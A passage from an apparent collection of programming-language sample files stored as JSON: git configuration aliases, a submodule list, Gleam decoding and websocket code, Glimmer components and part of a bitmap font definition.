log --since=\\\"one week ago\\\" --all --no-merges --oneline #--author=\\\"Mark Fernandes\\\"\n  save        = commit -am\n  show-all    = log --follow\n  shop-all    = log --follow -p\n  stashes     = stash list\n  summary     = status -u -s\n  tags        = tag\n  type        = cat-file -t\n  uncommit    = reset --mixed HEAD~\n  undo        = reset --soft HEAD~1\n  unignore    = update-index --no-assume-changed\n  unmerged    = branch --no-merged\n  unmerged    = diff -w --name-only --diff-filter=U\n  unstage     = reset -q HEAD --\n  unstash     = stash pop\n  untrack     = rm -r --cached\n  up          = push up master\n  what        = show -w\n  #----\n  # END HUMAN\n\n  pup       = \"!git remote update -p && git merge --ff-only @{u}\"\n  pupup     = \"!git remote update up -p && git merge --ff-only @{u}\"\n\n# vim: et:nonu:nospell:ft=gitconfig\n\n"
  },
  {
    "path": "samples/Git Config/filenames/.gitconfig",
    "content": "[alias]\n\n\t# View abbreviated SHA, description, and history graph of the latest 20 commits\n\tl = log --pretty=oneline -n 20 --graph --abbrev-commit\n\n\t# View the current working tree status using the short format\n\ts = status -s\n\n\t# Show the diff between the latest commit and the current state\n\td = !\"git diff-index --quiet HEAD -- || clear; git --no-pager diff --patch-with-stat\"\n\n\t# `git di $number` shows the diff between the state `$number` revisions ago and the current state\n\tdi = !\"d() { git diff --patch-with-stat HEAD~$1; }; git diff-index --quiet HEAD -- || clear; d\"\n\n\t# Pull in remote changes for the current repository and all its submodules\n\tp = !\"git pull; git submodule foreach git pull origin master\"\n\n\t# Clone a repository including all submodules\n\tc = clone --recursive\n\n\t# Commit all changes\n\tca = !git add -A && git commit -av\n\n\t# Switch to a branch, creating it if necessary\n\tgo = \"!f() { git checkout -b \\\"$1\\\" 2> /dev/null || git checkout \\\"$1\\\"; }; f\"\n\n\t# Show verbose output about tags, branches or remotes\n\ttags = tag -l\n\tbranches = branch -a\n\tremotes = remote -v\n\n\t# List aliases\n\taliases = config --get-regexp alias\n\n\t# Amend the currently staged files to the latest commit\n\tamend = commit --amend --reuse-message=HEAD\n\n\t# Credit an author on the latest commit\n\tcredit = \"!f() { git commit --amend --author \\\"$1 <$2>\\\" -C HEAD; }; f\"\n\n\t# Interactive rebase with the given number of latest commits\n\treb = \"!r() { git rebase -i HEAD~$1; }; r\"\n\n\t# Remove the old tag with this name and tag the latest commit with it.\n\tretag = \"!r() { git tag -d $1 && git push origin :refs/tags/$1 && git tag $1; }; r\"\n\n\t# Find branches containing commit\n\tfb = \"!f() { git branch -a --contains $1; }; f\"\n\n\t# Find tags containing commit\n\tft = \"!f() { git describe --always --contains $1; }; f\"\n\n\t# Find commits by source code\n\tfc = \"!f() { git log --pretty=format:'%C(yellow)%h  %Cblue%ad  %Creset%s%Cgreen  [%cn] %Cred%d' --decorate --date=short -S$1; }; f\"\n\n\t# Find commits by commit message\n\tfm = \"!f() { git log --pretty=format:'%C(yellow)%h  %Cblue%ad  %Creset%s%Cgreen  [%cn] %Cred%d' --decorate --date=short --grep=$1; }; f\"\n\n\t# Remove branches that have already been merged with master\n\t# a.k.a. ‘delete merged’\n\tdm = \"!git branch --merged | grep -v '\\\\*' | xargs -n 1 git branch -d\"\n\n\t# List contributors with number of commits\n\tcontributors = shortlog --summary --numbered\n\n\t# Merge GitHub pull request on top of the current branch or,\n\t# if a branch name is specified, on top of the specified branch\n\tmpr = \"!f() { \\\n\t\tdeclare currentBranch=\\\"$(git symbolic-ref --short HEAD)\\\"; \\\n\t\tdeclare branch=\\\"${2:-$currentBranch}\\\"; \\\n\t\tif [ $(printf \\\"%s\\\" \\\"$1\\\" | grep '^[0-9]\\\\+$' > /dev/null; printf $?) -eq 0 ]; then \\\n\t\t\tgit fetch origin refs/pull/$1/head:pr/$1 && \\\n\t\t\tgit checkout -B $branch && \\\n\t\t\tgit rebase $branch pr/$1 && \\\n\t\t\tgit checkout -B $branch && \\\n\t\t\tgit merge pr/$1 && \\\n\t\t\tgit branch -D pr/$1 && \\\n\t\t\tgit commit --amend -m \\\"$(git log -1 --pretty=%B)\\n\\nCloses #$1.\\\"; \\\n\t\tfi \\\n\t}; f\"\n\n[apply]\n\n\t# Detect whitespace errors when applying a patch\n\twhitespace = fix\n\n[core]\n\n\t# Use custom `.gitignore` and `.gitattributes`\n\texcludesfile = ~/.gitignore\n\tattributesfile = ~/.gitattributes\n\n\t# Treat spaces before tabs and all kinds of trailing whitespace as an error\n\t# [default] trailing-space: looks for spaces at the end of a line\n\t# [default] space-before-tab: looks for spaces before tabs at the beginning of a line\n\twhitespace = space-before-tab,-indent-with-non-tab,trailing-space\n\n\t# Make `git rebase` safer on macOS\n\t# More info: <http://www.git-tower.com/blog/make-git-rebase-safe-on-osx/>\n\ttrustctime = false\n\n\t# Prevent showing files whose names contain non-ASCII symbols as unversioned.\n\t# http://michael-kuehnel.de/git/2014/11/21/git-mac-osx-and-german-umlaute.html\n\tprecomposeunicode = false\n\n\t# Speed up commands involving untracked files such as `git status`.\n\t# https://git-scm.com/docs/git-update-index#_untracked_cache\n\tuntrackedCache = true\n\n[color]\n\n\t# Use colors in Git commands that are capable of colored output when\n\t# outputting to the terminal. (This is the default setting in Git ≥ 1.8.4.)\n\tui = auto\n\n[color \"branch\"]\n\n\tcurrent = yellow reverse\n\tlocal = yellow\n\tremote = green\n\n[color \"diff\"]\n\n\tmeta = yellow bold\n\tfrag = magenta bold # line info\n\told = red # deletions\n\tnew = green # additions\n\n[color \"status\"]\n\n\tadded = yellow\n\tchanged = green\n\tuntracked = cyan\n\n[commit]\n\n\t# https://help.github.com/articles/signing-commits-using-gpg/\n\tgpgsign = true\n\n[diff]\n\n\t# Detect copies as well as renames\n\trenames = copies\n\n[diff \"bin\"]\n\n\t# Use `hexdump` to diff binary files\n\ttextconv = hexdump -v -C\n\n[help]\n\n\t# Automatically correct and execute mistyped commands\n\tautocorrect = 1\n\n[merge]\n\n\t# Include summaries of merged commits in newly created merge commit messages\n\tlog = true\n\n[push]\n\n\t# https://git-scm.com/docs/git-config#git-config-pushdefault\n\tdefault = simple\n\t# Make `git push` push relevant annotated tags when pushing branches out.\n\tfollowTags = true\n\n# URL shorthands\n\n[url \"git@github.com:\"]\n\n\tinsteadOf = \"gh:\"\n\tpushInsteadOf = \"github:\"\n\tpushInsteadOf = \"git://github.com/\"\n\n[url \"git://github.com/\"]\n\n\tinsteadOf = \"github:\"\n\n[url \"git@gist.github.com:\"]\n\n\tinsteadOf = \"gst:\"\n\tpushInsteadOf = \"gist:\"\n\tpushInsteadOf = \"git://gist.github.com/\"\n\n[url \"git://gist.github.com/\"]\n\n\tinsteadOf = \"gist:\"\n"
  },
  {
    "path": "samples/Git Config/filenames/.gitmodules",
    "content": "[submodule \"vendor/CodeMirror\"]\n\tpath = vendor/CodeMirror\n\turl = https://github.com/codemirror/CodeMirror\n[submodule \"vendor/grammars/ABNF.tmbundle\"]\n\tpath = vendor/grammars/ABNF.tmbundle\n\turl = https://github.com/sanssecours/ABNF.tmbundle\n[submodule \"vendor/grammars/Agda.tmbundle\"]\n\tpath = vendor/grammars/Agda.tmbundle\n\turl = https://github.com/mokus0/Agda.tmbundle\n[submodule \"vendor/grammars/Alloy.tmbundle\"]\n\tpath = vendor/grammars/Alloy.tmbundle\n\turl = https://github.com/macekond/Alloy.tmbundle\n[submodule \"vendor/grammars/Assembly-Syntax-Definition\"]\n\tpath = vendor/grammars/Assembly-Syntax-Definition\n\turl = https://github.com/calculuswhiz/Assembly-Syntax-Definition\n[submodule \"vendor/grammars/AutoHotkey\"]\n\tpath = vendor/grammars/AutoHotkey\n\turl = https://github.com/ahkscript/SublimeAutoHotkey\n"
  },
  {
    "path": "samples/Git Revision List/filenames/.git-blame-ignore-revs",
    "content": "# git-blame ignored revisions\n# To configure, run\n#   git config blame.ignoreRevsFile .git-blame-ignore-revs\n# Requires Git > 2.23\n# See https://git-scm.com/docs/git-blame#Documentation/git-blame.txt---ignore-revs-fileltfilegt\n\n# Use prettier (#600)\n5180ecdca48e486b4b0f347fcbd752f865df5e55\n\n# Update prettier to v2 (#11579)\n41085248560b1403b8d0f99f108491e679531c6c\n"
  },
  {
    "path": "samples/Gleam/contributor.gleam",
    "content": "import gleam/result\nimport gleam/option.{Option}\nimport gleam/dynamic.{DecodeError, Dynamic}\nimport gleam_contributors/json\n\npub type Contributor {\n  Contributor(name: String, github: Option(String))\n}\n\n// Could include avatarURl and websiteUrl if required\npub type Contributorspage {\n  Contributorspage(\n    nextpage_cursor: Result(String, Nil),\n    contributor_list: List(Contributor),\n  )\n}\n\n// This is still parsing the response json into Gleam types, see\n// parse_contributors, but it is the contributor section only. To make the parse\n// function more readable\npub fn decode(json_obj: Dynamic) -> Result(Contributor, DecodeError) {\n  try author = dynamic.field(json_obj, \"author\")\n\n  try dynamic_name = dynamic.field(author, \"name\")\n  try name = dynamic.string(dynamic_name)\n  let github = {\n    try user = dynamic.field(author, \"user\")\n    try dynamic_github = dynamic.field(user, \"url\")\n    dynamic.string(dynamic_github)\n  }\n  Ok(Contributor(name: name, github: option.from_result(github)))\n}\n\n/// Converts response json into Gleam type. Represents one page of contributors\npub fn decode_page(\n  response_json: String,\n) -> Result(Contributorspage, DecodeError) {\n  let res = json.decode(response_json)\n\n  try data = dynamic.field(res, \"data\")\n  try repo = dynamic.field(data, \"repository\")\n  try object = dynamic.field(repo, \"object\")\n  try history = dynamic.field(object, \"history\")\n  try pageinfo = dynamic.field(history, \"pageInfo\")\n  try dynamic_nextpage = dynamic.field(pageinfo, \"hasNextPage\")\n  try nextpage = dynamic.bool(dynamic_nextpage)\n  let cursor = case nextpage {\n    False -> Error(Nil)\n    True ->\n      dynamic.field(pageinfo, \"endCursor\")\n      |> result.then(dynamic.string)\n      |> result.map_error(fn(_) { Nil })\n  }\n  try nodes = dynamic.field(history, \"nodes\")\n  try contributors = dynamic.typed_list(nodes, of: decode)\n  Ok(Contributorspage(nextpage_cursor: cursor, contributor_list: contributors))\n}\n"
  },
  {
    "path": "samples/Gleam/websocket.gleam",
    "content": "import gleam/uri.{Uri}\nimport gleam/http.{Header}\nimport gleam/dynamic.{Dynamic}\nimport gleam/result\nimport nerf/gun.{ConnectionPid, StreamReference}\n\npub opaque type Connection {\n  Connection(ref: StreamReference, pid: ConnectionPid)\n}\n\npub type Frame {\n  Close\n  Text(String)\n  Binary(BitString)\n}\n\npub fn connect(\n  hostname: String,\n  path: String,\n  on port: Int,\n  with headers: List(Header),\n) -> Result(Connection, ConnectError) {\n  try pid =\n    gun.open(hostname, port)\n    |> result.map_error(ConnectionFailed)\n  try _ =\n    gun.await_up(pid)\n    |> result.map_error(ConnectionFailed)\n\n  // Upgrade to websockets\n  let ref = gun.ws_upgrade(pid, path, headers)\n  let conn = Connection(pid: pid, ref: ref)\n  try _ =\n    await_upgrade(conn, 1000)\n    |> result.map_error(ConnectionFailed)\n\n  Ok(conn)\n}\n\npub fn send(to conn: Connection, this message: String) -> Nil {\n  gun.ws_send(conn.pid, gun.Text(message))\n}\n\npub external fn receive(from: Connection, within: Int) -> Result(Frame, Nil) =\n  \"nerf_ffi\" \"ws_receive\"\n\nexternal fn await_upgrade(from: Connection, within: Int) -> Result(Nil, Dynamic) =\n  \"nerf_ffi\" \"ws_await_upgrade\"\n\npub fn close(conn: Connection) -> Nil {\n  gun.ws_send(conn.pid, gun.Close)\n}\n\n/// The URI of the websocket server to connect to\npub type ConnectError {\n  ConnectionRefused(status: Int, headers: List(Header))\n  ConnectionFailed(reason: Dynamic)\n}\n"
  },
  {
    "path": "samples/Glimmer JS/class.gjs",
    "content": "import Component from \"@glimmer/component\";\nimport { action } from \"@ember/object\";\nimport DButton from \"discourse/components/d-button\";\nimport DModal from \"discourse/components/d-modal\";\nimport DModalCancel from \"discourse/components/d-modal-cancel\";\nimport I18n from \"I18n\";\nimport { htmlSafe } from \"@ember/template\";\n\nconst t = I18n.t.bind(I18n);\n\nexport default class ModalDiffModal extends Component {\n  <template>\n    <DModal\n      class=\"composer-ai-helper-modal\"\n      @title={{t \"discourse_ai.ai_helper.context_menu.changes\"}}\n      @closeModal={{@closeModal}}\n    >\n      <:body>\n        {{#if @diff}}\n          {{htmlSafe @diff}}\n        {{else}}\n          <div class=\"composer-ai-helper-modal__old-value\">\n            {{@oldValue}}\n          </div>\n\n          <div class=\"composer-ai-helper-modal__new-value\">\n            {{@newValue}}\n          </div>\n        {{/if}}\n      </:body>\n\n      <:footer>\n        <DButton\n          class=\"btn-primary confirm\"\n          @action={{this.triggerConfirmChanges}}\n          @label=\"discourse_ai.ai_helper.context_menu.confirm\"\n        />\n        <DModalCancel @close={{@closeModal}} />\n      </:footer>\n    </DModal>\n  </template>\n\n  @action\n  triggerConfirmChanges() {\n    this.args.closeModal();\n    this.args.confirm();\n  }\n}\n"
  },
  {
    "path": "samples/Glimmer JS/template-only.gjs",
    "content": "import { ExternalLink, Link } from '@crowdstrike/ember-oss-docs';\n\nexport const Footer = <template>\n  <footer class=\"bg-mezzanine theme-mezzanine pb-10 sm:pb-20 md:pb-28 pt-6 sm:pt-10 md:pt-20\">\n    <div class=\"max-w-screen-lg mx-auto grid gap-4 md:gap-14\">\n      <nav class=\"p-8 md:p-0 grid sm:flex flex-wrap justify-between\">\n        <div class=\"flex flex-col items-start\">\n          <Link @variant=\"quiet\" @href=\"https://www.crowdstrike.com/why-crowdstrike/\">Why CrowdStrike</Link>\n          <Link @variant=\"quiet\" @href=\"https://www.crowdstrike.com/why-crowdstrike/crowdstrike-customers/\">Our Customers</Link>\n        </div>\n        <div class=\"flex flex-col items-start\">\n          <Link @variant=\"quiet\" @href=\"https://www.crowdstrike.com/about-crowdstrike/\">CrowdStrike's Story</Link>\n          <Link @variant=\"quiet\" @href=\"http://www.crowdstrike.com/news/\">CrowdStrike News and Releases</Link>\n        </div>\n        <div class=\"flex flex-col items-start\">\n          <Link @variant=\"quiet\" @href=\"https://www.crowdstrike.com/blog/category/engineering-and-technology/\">CrowdStrike Engineering and Tech Blog CrowdStrike</Link>\n          <Link @variant=\"quiet\" @href=\"#\">CrowdStrike People and Culture</Link>\n          <Link @variant=\"quiet\" @href=\"https://crowdstrike.wd5.myworkdayjobs.com/crowdstrikecareers\">CrowdStrike Open Positions</Link>\n        </div>\n      </nav>\n\n      <div class=\"p-8 md:p-0 grid gap-4 md:grid-flow-col w-full items-center\">\n        <ExternalLink @href=\"https://crowdstrike.com\" class=\"mt-3 justify-self-start\">\n          <img src=\"/logo_footer.png\" alt=\"Visit crowdstrike.com\" />\n        </ExternalLink>\n\n        <div class=\"md:justify-self-center text-body-and-labels type-xs\">\n          <span class=\"px-2\">Copyright &copy; 2023</span>\n          <span>|</span>\n          <ExternalLink @href=\"https://www.crowdstrike.com/contact-us/\">Contact Us</ExternalLink>\n          <span>|</span>\n          <ExternalLink @href=\"https://www.crowdstrike.com/privacy-notice/\">Private</ExternalLink>\n          <span>|</span>\n          <ExternalLink @href=\"https://www.crowdstrike.com/website-terms-of-use/\">Terms of Use</ExternalLink>\n          <span>|</span>\n          <ExternalLink @href=\"https://www.crowdstrike.com/careers/candidate-privacy-notices/\">Candidate Privacy Notices</ExternalLink>\n        </div>\n\n        <div class=\"md:justify-self-end flex gap-2 items-center\">\n          <ExternalLink @href=\"https://www.youtube.com/user/CrowdStrike\">\n            <img src=\"/youtube.png\" alt=\"Visit the CrowdStrike YouTube channel\" />\n          </ExternalLink>\n          <ExternalLink @href=\"https://www.instagram.com/crowdstrike/?hl=en\">\n            <img src=\"/instagram.png\" alt=\"Visit the CrowdStrike Instagram\" />\n          </ExternalLink>\n          <ExternalLink @href=\"https://www.linkedin.com/company/crowdstrike\">\n            <img src=\"/linkedin.png\" alt=\"Visit the CrowdStrike LinkedIN\" />\n          </ExternalLink>\n        </div>\n      </div>\n    </div>\n  </footer>\n</template>\n\nexport default Footer;\n"
  },
  {
    "path": "samples/Glimmer TS/class.gts",
    "content": "import Component from '@glimmer/component';\nimport FreestyleUsage from 'ember-freestyle/components/freestyle/usage';\nimport BoxelInputTime, { Time } from './index';\nimport { tracked } from '@glimmer/tracking';\nimport { cssVariable, CSSVariableInfo } from 'ember-freestyle/decorators/css-variable';\nimport { fn } from '@ember/helper';\nimport { action } from '@ember/object';\n\nexport default class BoxelInputTimeUsage extends Component {\n  cssClassName = 'boxel-input-time';\n\n  @cssVariable declare boxelInputTimeBackgroundColor: CSSVariableInfo; // TODO: replace or remove\n  @tracked value = new Date(2022,2,3,13,45);\n  @tracked minValue = new Date(2022,2,3,11,0);\n  @tracked minuteInterval = 5;\n  @action timeChanged(val: Time) {\n    this.value = val as Date; //TODO: casting???\n  }\n  <template>\n    <FreestyleUsage @name=\"Input::Time\">\n      <:description>\n        A succint version of a time picker.\n      </:description>\n      <:example>\n        <BoxelInputTime\n          @value={{this.value}}\n          @minValue={{this.minValue}}\n          @minuteInterval={{this.minuteInterval}}\n          @onChange={{this.timeChanged}}\n        />\n      </:example>\n      <:api as |Args|>\n        <Args.Object\n          @name=\"value\"\n          @description=\"The current value (undefined or conforming to a Time interface that is a subset of JavaScript's Date API\"\n          @value={{this.value}}\n          @onInput={{fn (mut this.value)}}\n        />\n        <Args.Object\n          @name=\"minValue\"\n          @description=\"The times before this value will disabled\"\n          @value={{this.minValue}}\n        />\n        <Args.Number\n          @name=\"minuteInterval\"\n          @description=\"The interval at which to show minute options\"\n          @defaultValue={{5}}\n          @value={{this.minuteInterval}}\n          @onInput={{fn (mut this.minuteInterval)}}\n        />\n        <Args.Action\n          @name=\"onChange\"\n          @description=\"Called when the user changed the time\"\n        />\n      </:api>\n    </FreestyleUsage>\n  </template>\n}"
  },
  {
    "path": "samples/Glimmer TS/template-only.gts",
    "content": "import { LinkTo } from '@ember/routing';\nimport { TOC } from '@ember/component/template-only';\nimport Resource from 'ember-crate/models/resource';\nimport HeroIcon from 'ember-heroicons/components/hero-icon';\n\nconst formatDate = (date: Date) => {\n  const options: Intl.DateTimeFormatOptions = { month: 'short', day: 'numeric', year: 'numeric' };\n  return new Intl.DateTimeFormat('en-US', options).format(new Date(date));\n};\n\nexport const ResourceCard: TOC<{ Args: { resource: Resource } }> = <template>\n  <LinkTo\n    @route='resources.resource'\n    @model={{@resource.slug}}\n    class='block max-w-sm rounded-lg border border-gray-200 bg-white drop-shadow-sm hover:bg-slate-50'\n  >\n    <div class='p-3 md:p-4'>\n      <div class='flex gap-2'>\n        <h5\n          class='text-l mb-2 h-[3em] font-medium tracking-tight text-gray-900 line-clamp-2 xl:text-xl tracking-tight'\n        >{{@resource.title}}</h5>\n        {{#if @resource.isFeatured}}\n          <HeroIcon\n            @icon='star'\n            @type='solid'\n            class='mt-2 h-4 w-4 shrink-0 text-yellow-400'\n          />\n        {{/if}}\n      </div>\n\n      <div\n        class='flex flex-col justify-between gap-2 lg:flex-row lg:items-center'\n      >\n        <div class='flex items-center text-sm text-slate-700'>\n          <HeroIcon @icon='clock' @type='outline' class='mr-2 h-4 w-4' />\n          <span>{{formatDate @resource.publishDate}}</span>\n        </div>\n        <div\n          class='w-fit grow-0 rounded bg-slate-100 px-2.5 py-0.5 text-xs font-medium text-slate-800'\n        >\n          {{@resource.type}}\n        </div>\n      </div>\n    </div>\n  </LinkTo>\n</template>;\n\nexport default ResourceCard;"
  },
  {
    "path": "samples/Glyph Bitmap Distribution Format/bitbuntu.bdf",
    "content": "STARTFONT 2.1\nCOMMENT Copyright (c) 2011,  Aaron Christianson  ninjaaron@gmail.com\nCOMMENT licenced under the OFL 1.1\nCOMMENT 1\nFONT -aaron-bitbuntu-medium-r-normal--10-100-72-72-C-90-iSO8859-1\nSIZE 10 72 72\nFONTBOUNDINGBOX 7 11 0 -2\nSTARTPROPERTIES 25\nFONTNAME_REGISTRY \"\"\nFOUNDRY \"aaron\"\nFAMILY_NAME \"bitbuntu\"\nWEIGHT_NAME \"medium\"\nSLANT \"r\"\nSETWIDTH_NAME \"normal\"\nADD_STYLE_NAME \"\"\nPIXEL_SIZE 10\nPOINT_SIZE 100\nRESOLUTION_X 72\nRESOLUTION_Y 72\nSPACING \"C\"\nAVERAGE_WIDTH 90\nCHARSET_REGISTRY \"iSO8859\"\nCHARSET_ENCODING \"1\"\nCOPYRIGHT \"CC, Aaron Christianson\"\nFACE_NAME \"bitbuntu\"\nWEIGHT 10\nX_HEIGHT 6\nQUAD_WIDTH 6\n_ORIGINAL_FONT_NAME \"bitbuntu\"\n_GBDFED_INFO \"Edited with gbdfed 1.6.\"\nDEFAULT_CHAR 63\nFONT_DESCENT 2\nFONT_ASCENT 8\nENDPROPERTIES\nCHARS 190\nSTARTCHAR char32\nENCODING 32\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 0 0 0 0\nBITMAP\nENDCHAR\nSTARTCHAR char33\nENCODING 33\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 1 6 3 0\nBITMAP\n80\n80\n80\n80\n00\n80\nENDCHAR\nSTARTCHAR char34\nENCODING 34\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 3 2 2 5\nBITMAP\nA0\nA0\nENDCHAR\nSTARTCHAR char35\nENCODING 35\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 5 1 1\nBITMAP\n50\nF8\n50\nF8\n50\nENDCHAR\nSTARTCHAR char36\nENCODING 36\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 7 1 -1\nBITMAP\n20\n78\n80\n70\n08\nF0\n20\nENDCHAR\nSTARTCHAR char37\nENCODING 37\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 6 1 0\nBITMAP\nC0\nD8\n30\n60\nD8\n18\nENDCHAR\nSTARTCHAR char38\nENCODING 38\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 7 1 0\nBITMAP\n30\n40\n40\n68\n90\n90\n68\nENDCHAR\nSTARTCHAR char39\nENCODING 39\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 1 2 2 5\nBITMAP\n80\n80\nENDCHAR\nSTARTCHAR char40\nENCODING 40\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 2 8 2 -1\nBITMAP\n40\n80\n80\n80\n80\n80\n80\n40\nENDCHAR\nSTARTCHAR char41\nENCODING 41\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 2 8 2 -1\nBITMAP\n80\n40\n40\n40\n40\n40\n40\n80\nENDCHAR\nSTARTCHAR char42\nENCODING 42\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 5 1 1\nBITMAP\n20\nA8\n70\nA8\n20\nENDCHAR\nSTARTCHAR char43\nENCODING 43\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 5 1 0\nBITMAP\n20\n20\nF8\n20\n20\nENDCHAR\nSTARTCHAR char44\nENCODING 44\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 2 3 2 -1\nBITMAP\n40\nC0\n80\nENDCHAR\nSTARTCHAR char45\nENCODING 45\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 1 1 2\nBITMAP\nF8\nENDCHAR\nSTARTCHAR char46\nENCODING 46\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 2 2 2 0\nBITMAP\nC0\nC0\nENDCHAR\nSTARTCHAR char47\nENCODING 47\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 -1\nBITMAP\n10\n10\n20\n20\n40\n40\n80\n80\nENDCHAR\nSTARTCHAR char48\nENCODING 48\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 0\nBITMAP\n60\n90\n90\n90\n90\n90\n60\nENDCHAR\nSTARTCHAR char49\nENCODING 49\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 2 7 2 0\nBITMAP\n40\nC0\n40\n40\n40\n40\n40\nENDCHAR\nSTARTCHAR char50\nENCODING 50\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 0\nBITMAP\n60\n90\n10\n20\n40\n80\nF0\nENDCHAR\nSTARTCHAR char51\nENCODING 51\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 0\nBITMAP\nE0\n10\n10\n60\n10\n10\nE0\nENDCHAR\nSTARTCHAR char52\nENCODING 52\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 7 1 0\nBITMAP\n10\n30\n50\n90\nF8\n10\n10\nENDCHAR\nSTARTCHAR char53\nENCODING 53\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 0\nBITMAP\nF0\n80\n80\nE0\n10\n10\nE0\nENDCHAR\nSTARTCHAR char54\nENCODING 54\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 0\nBITMAP\n60\n80\n80\nE0\n90\n90\n60\nENDCHAR\nSTARTCHAR char55\nENCODING 55\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 0\nBITMAP\nF0\n10\n10\n20\n20\n40\n40\nENDCHAR\nSTARTCHAR char56\nENCODING 56\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 0\nBITMAP\n60\n90\n90\n60\n90\n90\n60\nENDCHAR\nSTARTCHAR char57\nENCODING 57\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 0\nBITMAP\n60\n90\n90\n70\n10\n10\n60\nENDCHAR\nSTARTCHAR char58\nENCODING 58\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 2 5 2 0\nBITMAP\nC0\nC0\n00\nC0\nC0\nENDCHAR\nSTARTCHAR char59\nENCODING 59\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 2 6 2 -1\nBITMAP\nC0\nC0\n00\n40\nC0\n80\nENDCHAR\nSTARTCHAR char60\nENCODING 60\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 3 5 1 0\nBITMAP\n20\n60\nC0\n60\n20\nENDCHAR\nSTARTCHAR char61\nENCODING 61\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 3 1 1\nBITMAP\nF0\n00\nF0\nENDCHAR\nSTARTCHAR char62\nENCODING 62\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 3 5 1 0\nBITMAP\n80\nC0\n60\nC0\n80\nENDCHAR\nSTARTCHAR char63\nENCODING 63\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 -1\nBITMAP\n60\n90\n10\n20\n40\n00\n40\nENDCHAR\nSTARTCHAR char64\nENCODING 64\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 -1\nBITMAP\n60\n90\nB0\nD0\nD0\nB0\n80\n60\nENDCHAR\nSTARTCHAR char65\nENCODING 65\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 6 1 0\nBITMAP\n70\n90\n90\n90\nF0\n90\nENDCHAR\nSTARTCHAR char66\nENCODING 66\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 6 1 0\nBITMAP\nE0\n90\nE0\n90\n90\nE0\nENDCHAR\nSTARTCHAR char67 QUOTE THIS SHIT\nENCODING 67\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 6 1 0\nBITMAP\n70\n80\n80\n80\n80\n70\nENDCHAR\nSTARTCHAR char68\nENCODING 68\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 6 1 0\nBITMAP\nE0\n90\n90\n90\n90\nE0\nENDCHAR\nSTARTCHAR char69\nENCODING 69\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 6 1 0\nBITMAP\nF0\n80\nE0\n80\n80\nF0\nENDCHAR\nSTARTCHAR char70\nENCODING 70\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 6 1 0\nBITMAP\nF0\n80\nE0\n80\n80\n80\nENDCHAR\nSTARTCHAR char71\nENCODING 71\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 6 1 0\nBITMAP\n70\n80\n80\n90\n90\n70\nENDCHAR\nSTARTCHAR char72\nENCODING 72\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 6 1 0\nBITMAP\n90\n90\n90\nF0\n90\n90\nENDCHAR\nSTARTCHAR char73\nENCODING 73\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 1 6 3 0\nBITMAP\n80\n80\n80\n80\n80\n80\nENDCHAR\nSTARTCHAR char74\nENCODING 74\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 3 6 2 0\nBITMAP\n20\n20\n20\n20\n20\nC0\nENDCHAR\nSTARTCHAR char75\nENCODING 75\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 6 1 0\nBITMAP\n90\nA0\nC0\nC0\nA0\n90\nENDCHAR\nSTARTCHAR char76\nENCODING 76\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 6 1 0\nBITMAP\n80\n80\n80\n80\n80\nF0\nENDCHAR\nSTARTCHAR char77\nENCODING 77\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 6 1 0\nBITMAP\nD8\nA8\nA8\n88\n88\n88\nENDCHAR\nSTARTCHAR char78\nENCODING 78\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 6 1 0\nBITMAP\n90\n90\nD0\nB0\n90\n90\nENDCHAR\nSTARTCHAR char79\nENCODING 79\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 6 1 0\nBITMAP\n60\n90\n90\n90\n90\n60\nENDCHAR\nSTARTCHAR char80\nENCODING 80\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 6 2 0\nBITMAP\nE0\n90\n90\nE0\n80\n80\nENDCHAR\nSTARTCHAR char81\nENCODING 81\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 -1\nBITMAP\n60\n90\n90\n90\n90\n60\n30\nENDCHAR\nSTARTCHAR char82\nENCODING 82\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 6 1 